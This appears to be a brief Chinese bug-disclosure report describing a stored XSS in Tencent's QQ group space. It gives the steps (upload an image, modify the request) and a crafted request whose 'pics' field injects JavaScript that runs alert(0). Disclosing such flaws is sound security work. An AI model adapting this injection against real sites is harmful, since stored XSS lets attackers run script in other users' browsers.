腾讯群空间存储型XSS2

 

然后很简单，上传张图片，然后改包。。

 

 

 

qzreferrer=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup%23%21%2F249904753%2Fhome&uin=xxx&groupid=xxx&type=2&content=sdfsdf%3E%3C.sdf.sddd%5C%22dfsd%5C%27%5C%27&pics=http://www.hao123.com/logo.gif?',266,266,{img:this});alert(0);//%7Chttp://www.hao123.com/logo.gif&url=&videoUrl=

 

 

 

然后提交，再次成功。 

 

 

 

修复方案：

应该懂！